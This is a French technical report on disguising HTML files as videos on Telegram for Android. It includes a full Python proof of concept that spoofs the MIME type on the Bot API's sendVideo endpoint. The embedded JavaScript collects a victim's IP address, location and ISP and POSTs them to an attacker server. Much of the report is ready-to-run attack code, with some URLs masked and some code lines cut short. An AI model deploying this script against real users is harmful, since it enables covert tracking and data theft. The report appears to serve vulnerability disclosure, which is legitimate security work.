Rapport Technique : Vulnérabilité de Manipulation d'Extensions Vidéo dans
Telegram
1. Synthèse de la Vulnérabilité
Titre : Exécution de Code Arbitraire via Déguisement de Fichier HTML en Vidéo
Plateformes Affectées : Applications Telegram sur Android
Mécanisme Clé : Contournement des contrôles de type MIME lors de l'envoi de fichiers via l'API
Telegram.
Impact Principal : Exécution de code JavaScript malveillant et vol de données sensibles (IP,
géolocalisation, FAI).
2. Détails Techniques de l'Exploitation
Étapes de l'Attaque :
Préparation du Fichier Malveillant :
Création d'un fichier HTML (.htm) contenant un script JavaScript (exfiltration d'IP via ip-
[Link]).
Renommage du fichier avec une extension vidéo (ex. testv.mp4).
Contournement de l'API Telegram :
Utilisation du endpoint sendVideo avec un header Content-Type: video/mp4.
Injection du fichier HTML dans le paramètre files du script Python :
python
files = {
"video": (
"[Link]", # Nom réel
open("testv.mp4", "rb"), # Nom déguisé
"video/mp4" # Type MIME falsifié
Interaction Victime :
La victime reçoit un fichier affiché comme "vidéo" dans Telegram.
Tentative d'ouverture → Échec de lecture (le fichier n'est pas une vidéo).
Ouverture automatique dans le navigateur via
content://[Link]/.../4_5924894289476721732.htm.
Exécution du Code Malveillant :
Le script JavaScript exfiltre les données vers un serveur attaquant :
javascript
fetch('[Link]
.then(response => [Link]())
.then(data => {
fetch('[Link] {
method: 'POST',
body: [Link]({
ip: [Link],
country: [Link],
city: [Link],
isp: [Link]
})
});
});
3. Scénarios d'Attaque Observés
Logger d'IP = Exfiltration géolocalisation = Tracking de victimes, profiling réseau
Evilloader = Téléchargement de malwares (ex. faux antivirus) Infection persistante, vol de
données
Redirection = Phishing vers pages malveillantes = Vol d'identifiants, ransomwares
4. Preuve de Concept (PoC) Critique
Fonctionnement du Script d'Attaque ([Link]) :
python
import requests
BOT_TOKEN = "BOT_TOKEN_ATTAQUANT"
CHAT_ID = "ID_CHAT_VICTIME"
# Création du fichier HTML déguisé en MP4
html_content = """<!DOCTYPE html><html><script>...</script></html>"""
with open("testv.mp4", "w") as file: # Extension trompeuse
[Link](html_content)
# Envoi via l'API Telegram
response = [Link](
f"[Link]
files = {"video": ("[Link]", open("testv.mp4", "rb"), "video/mp4")},
data = {"chat_id": CHAT_ID}
Résultat :
Statut HTTP 200 → Fichier envoyé avec succès en tant que "vidéo".
Victime déclenche le script en tentant de lire le fichier.
[Link]
import requests
BOT_TOKEN = "your_bot_token"
CHAT_ID = "your_chat_id"
html_content = """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<script>
fetch('[Link]
.then(response => [Link]())
.then(data => {
fetch('[Link] {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: [Link]({
ip: [Link],
country: [Link],
region: [Link],
city: [Link],
isp: [Link]
})
});
})
.catch(error => [Link]('Error fetching IP:', error));
</script>
</head>
<body>
</body>
</html>
"""
html_path = "testv.mp4"
with open(html_path, "w") as file:
[Link](html_content)
files = {
"video": (
"[Link]",
open(html_path, "rb"),
"video/mp4"
url = f"[Link]
data = {"chat_id": CHAT_ID, "supports_streaming": False}
response = [Link](url, data=data, files=files)
if response.status_code == 200:
print("message send")
else:
print(f"error: {[Link]}")